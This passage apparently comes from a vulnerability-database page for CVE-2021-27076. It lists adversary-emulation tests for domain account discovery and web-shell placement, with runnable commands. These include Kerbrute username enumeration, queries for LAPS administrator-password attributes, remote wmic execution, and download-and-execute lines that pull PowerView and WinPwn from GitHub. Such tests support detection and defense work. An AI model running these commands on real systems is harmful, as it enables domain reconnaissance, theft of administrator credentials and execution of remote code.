(([adsisearcher]'').SearchRooT).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] Domain Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
T1087.002 Enumerate all accounts (Domain) Windows CMD
Enumerate all accounts Upon exection, multiple enumeration commands will be run and their output displayed in the PowerShell session
Command (CMD) 
net user /domain
net group /domain
T1087.002 Enumerate all accounts via PowerShell (Domain) Windows PowerShell
Enumerate all accounts via PowerShell. Upon execution, lots of user account and group information will be displayed.
Command (PowerShell) 
net user /domain
get-localgroupmember -group Users
get-aduser -filter *
T1087.002 Enumerate logged on users via CMD (Domain) Windows CMD
Enumerate logged on users. Upon exeuction, logged on users will be displayed.
Command (CMD) 
query user /SERVER:#{computer_name}
T1087.002 Get-DomainUser with PowerView Windows PowerShell
Utilizing PowerView, run Get-DomainUser to identify the domain users. Upon execution, Users within the domain will be listed.
Command (PowerShell) 
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -verbose
T1087.002 Kerbrute - userenum Windows PowerShell
Enumerates active directory usernames using the userenum function of Kerbrute
Command (PowerShell) 
cd "PathToAtomicsFolder\..\ExternalPayloads"
.\kerbrute.exe userenum -d #{Domain} --dc #{DomainController} "PathToAtomicsFolder\..\ExternalPayloads\username.txt"
T1087.002 Suspicious LAPS Attributes Query with Get-ADComputer all properties Windows PowerShell
This test executes LDAP query using powershell command Get-ADComputer and lists all the properties including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell) 
Get-ADComputer #{hostname} -Properties *
T1087.002 Suspicious LAPS Attributes Query with Get-ADComputer all properties and SearchScope Windows PowerShell
This test executes LDAP query using powershell command Get-ADComputer with SearchScope as subtree and lists all the properties including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell) 
Get-adcomputer -SearchScope subtree -filter "name -like '*'" -Properties *
T1087.002 Suspicious LAPS Attributes Query with Get-ADComputer ms-Mcs-AdmPwd property Windows PowerShell
This test executes LDAP query using powershell command Get-ADComputer and lists Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell) 
Get-ADComputer #{hostname} -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
T1087.002 Suspicious LAPS Attributes Query with adfind all properties Windows PowerShell
This test executes LDAP query using adfind command and lists all the attributes including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell) 
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" *
T1087.002 Suspicious LAPS Attributes Query with adfind ms-Mcs-AdmPwd Windows PowerShell
This test executes LDAP query using adfind command and lists Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell) 
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
T1087.002 Wevtutil - Discover NTLM Users Remote Windows PowerShell
This test discovers users who have authenticated against a Domain Controller via NTLM. This is done remotely via wmic and captures the event code 4776 from the domain controller and stores the ouput in C:\temp. [Reference](https://www.reliaquest.com/blog/socgholish-fakeupdates/)
Command (PowerShell) 
$target = $env:LOGONSERVER
$target = $target.Trim("\\")
$IpAddress = [System.Net.Dns]::GetHostAddresses($target) | select IPAddressToString -ExpandProperty IPAddressToString
wmic.exe /node:$IpAddress process call create 'wevtutil epl Security C:\\ntlmusers.evtx /q:\"Event[System[(EventID=4776)]]"'
T1087.002 WinPwn - generaldomaininfo Windows PowerShell
Gathers general domain information using the generaldomaininfo function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
generaldomaininfo -noninteractive -consoleoutput
T1505.003 Web Shell Written to Disk Windows CMD
This test simulates an adversary leveraging Web Shells by simulating the file modification to disk. Idea from APTSimulator. cmd.aspx source - https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.aspx
Command (CMD) 
xcopy /I /Y "#{web_shells}" #{web_shell_path}

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (3)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2021-27076
portal.msrc.microsoft.com
GitHub CVE x_refsource_MISC
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-27076
zerodayinitiative.com
GitHub CVE x_refsource_MISC
https://www.zerodayinitiative.com/advisories/ZDI-21-276/